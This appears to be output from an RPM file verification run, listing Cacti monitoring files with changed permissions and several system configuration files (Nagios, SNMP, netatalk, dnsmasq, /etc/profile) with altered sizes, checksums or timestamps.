.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado5.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado_access.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ado_mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-borland_ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-csv.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-db2.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-fbsql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-firebird.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ibase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-informix.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-informix72.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-ldap.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mssqlpo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysqli.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-mysqlt.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-netezza.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci8.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci805.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oci8po.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc_mssql.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbc_oracle.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbtp.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-odbtp_unicode.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-oracle.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-pdo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres64.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-postgres7.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-proxy.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sapdb.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlanywhere.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlite.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sqlitepo.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-sybase.inc.php
.M.......    /usr/share/cacti/lib/adodb/drivers/adodb-vfp.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ar.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-bg.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-bgutf8.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ca.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-cn.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-cz.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-de.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-en.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-es.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-fr.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-hu.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-it.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-nl.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-pl.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-pt-br.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ro.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-ru1251.inc.php
.M.......    /usr/share/cacti/lib/adodb/lang/adodb-sv.inc.php
.M.......    /usr/share/cacti/lib/adodb/license.txt
.M.......    /usr/share/cacti/lib/adodb/toexport.inc.php
.M.......    /usr/share/cacti/lib/adodb/tohtml.inc.php
.M.......    /usr/share/cacti/lib/api_automation_tools.php
.M.......    /usr/share/cacti/lib/api_data_source.php
.M.......    /usr/share/cacti/lib/api_device.php
.M.......    /usr/share/cacti/lib/api_graph.php
.M.......    /usr/share/cacti/lib/api_poller.php
.M.......    /usr/share/cacti/lib/api_tree.php
.M.......    /usr/share/cacti/lib/auth.php
.M.......    /usr/share/cacti/lib/cdef.php
.M.......    /usr/share/cacti/lib/data_query.php
.M.......    /usr/share/cacti/lib/database.php
.M.......    /usr/share/cacti/lib/export.php
.M.......    /usr/share/cacti/lib/functions.php
.M.......    /usr/share/cacti/lib/graph_export.php
.M.......    /usr/share/cacti/lib/graph_variables.php
.M.......    /usr/share/cacti/lib/html.php
.M.......    /usr/share/cacti/lib/html_form.php
.M.......    /usr/share/cacti/lib/html_form_template.php
.M.......    /usr/share/cacti/lib/html_tree.php
.M.......    /usr/share/cacti/lib/html_utility.php
.M.......    /usr/share/cacti/lib/html_validate.php
.M.......    /usr/share/cacti/lib/import.php
.M.......    /usr/share/cacti/lib/ldap.php
.M.......    /usr/share/cacti/lib/ping.php
.M.......    /usr/share/cacti/lib/plugins.php
.M.......    /usr/share/cacti/lib/poller.php
.M.......    /usr/share/cacti/lib/rrd.php
.M.......    /usr/share/cacti/lib/snmp.php
.M.......    /usr/share/cacti/lib/sort.php
.M.......    /usr/share/cacti/lib/template.php
.M.......    /usr/share/cacti/lib/time.php
.M.......    /usr/share/cacti/lib/timespan_settings.php
.M.......    /usr/share/cacti/lib/tree.php
.M.......    /usr/share/cacti/lib/utility.php
.M.......    /usr/share/cacti/lib/variables.php
.M.......    /usr/share/cacti/lib/xml.php
.M.......    /usr/share/cacti/logout.php
.M.......    /usr/share/cacti/plugins
.M.......    /usr/share/cacti/plugins.php
.M.......    /usr/share/cacti/plugins/index.php
.M.......    /usr/share/cacti/poller.php
.M.......    /usr/share/cacti/poller_commands.php
.M.......    /usr/share/cacti/poller_export.php
.M.......    /usr/share/cacti/resource
.M.......    /usr/share/cacti/resource/script_queries
.M.......    /usr/share/cacti/resource/script_queries/host_cpu.xml
.M.......    /usr/share/cacti/resource/script_queries/host_disk.xml
.M.......    /usr/share/cacti/resource/script_queries/unix_disk.xml
.M.......    /usr/share/cacti/resource/script_server
.M.......    /usr/share/cacti/resource/script_server/host_cpu.xml
.M.......    /usr/share/cacti/resource/script_server/host_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries
.M.......    /usr/share/cacti/resource/snmp_queries/host_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries/interface.xml
.M.......    /usr/share/cacti/resource/snmp_queries/kbridge.xml
.M.......    /usr/share/cacti/resource/snmp_queries/net-snmp_disk.xml
.M.......    /usr/share/cacti/resource/snmp_queries/netware_cpu.xml
.M.......    /usr/share/cacti/resource/snmp_queries/netware_disk.xml
.M.......    /usr/share/cacti/rra.php
.M.......    /usr/share/cacti/script_server.php
.M.......    /usr/share/cacti/settings.php
.M.......    /usr/share/cacti/templates_export.php
.M.......    /usr/share/cacti/templates_import.php
.M.......    /usr/share/cacti/tree.php
.M.......    /usr/share/cacti/user_admin.php
.M.......    /usr/share/cacti/utilities.php
.M.......    /var/lib/cacti
.M.......    /var/lib/cacti/cli
.M.......    /var/lib/cacti/cli/add_data_query.php
.M.......    /var/lib/cacti/cli/add_device.php
.M.......    /var/lib/cacti/cli/add_graph_template.php
.M.......    /var/lib/cacti/cli/add_graphs.php
.M.......    /var/lib/cacti/cli/add_perms.php
.M.......    /var/lib/cacti/cli/add_tree.php
.M.......    /var/lib/cacti/cli/analyze_database.php
.M.......    /var/lib/cacti/cli/convert_innodb.php
.M.......    /var/lib/cacti/cli/copy_user.php
.M.......    /var/lib/cacti/cli/data_template_associate_rra.php
.M.......    /var/lib/cacti/cli/host_update_template.php
.M.......    /var/lib/cacti/cli/import_template.php
.M.......    /var/lib/cacti/cli/poller_data_sources_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_graphs_reapply_names.php
.M.......    /var/lib/cacti/cli/poller_output_empty.php
.M.......    /var/lib/cacti/cli/poller_reindex_hosts.php
.M.......    /var/lib/cacti/cli/rebuild_poller_cache.php
.M.......    /var/lib/cacti/cli/reorder_data_query.php
.M.......    /var/lib/cacti/cli/repair_database.php
.M.......    /var/lib/cacti/cli/repair_templates.php
.M.......    /var/lib/cacti/cli/structure_rra_paths.php
.M.......    /var/lib/cacti/cli/upgrade_database.php
.M.......    /var/lib/cacti/rra
.M.......    /var/lib/cacti/scripts
.M.......    /var/lib/cacti/scripts/3com_cable_modem.pl
.M.......    /var/lib/cacti/scripts/diskfree.pl
.M.......    /var/lib/cacti/scripts/diskfree.sh
.M.......    /var/lib/cacti/scripts/linux_memory.pl
.M.......    /var/lib/cacti/scripts/loadavg.pl
.M.......    /var/lib/cacti/scripts/loadavg_multi.pl
.M.......    /var/lib/cacti/scripts/ping.pl
.M.......    /var/lib/cacti/scripts/query_host_cpu.php
.M.......    /var/lib/cacti/scripts/query_host_partitions.php
.M.......    /var/lib/cacti/scripts/query_unix_partitions.pl
.M.......    /var/lib/cacti/scripts/sql.php
.M.......    /var/lib/cacti/scripts/ss_fping.php
.M.......    /var/lib/cacti/scripts/ss_host_cpu.php
.M.......    /var/lib/cacti/scripts/ss_host_disk.php
.M.......    /var/lib/cacti/scripts/ss_sql.php
.M.......    /var/lib/cacti/scripts/unix_processes.pl
.M.......    /var/lib/cacti/scripts/unix_tcp_connections.pl
.M.......    /var/lib/cacti/scripts/unix_users.pl
.M.......    /var/lib/cacti/scripts/weatherbug.pl
.M.......    /var/lib/cacti/scripts/webhits.pl
S.5....T.    /var/log/cacti/cacti.log
S.5....T.  c /etc/ntop.conf
.......T.  c /etc/avahi/hosts
S.5....T.  c /etc/netatalk/AppleVolumes.default
S.5....T.  c /etc/netatalk/afpd.conf
S.5....T.  c /etc/netatalk/netatalk.conf
S.5....T.  c /etc/httpd/conf.d/nagios.conf
S.5....T.  c /etc/nagios/nagios.cfg
S.5....T.  c /etc/nagios/objects/commands.cfg
S.5....T.  c /etc/nagios/objects/localhost.cfg
S.5....T.  c /etc/sysconfig/ntpd
S.5....T.  c /etc/profile
SM5..UGT.  c /etc/snmp/snmpd.conf
S.5....T.  c /etc/sysconfig/iptables-config
.......T.  c /etc/avahi/avahi-dnsconfd.action
S.5....T.  c /etc/dnsmasq.conf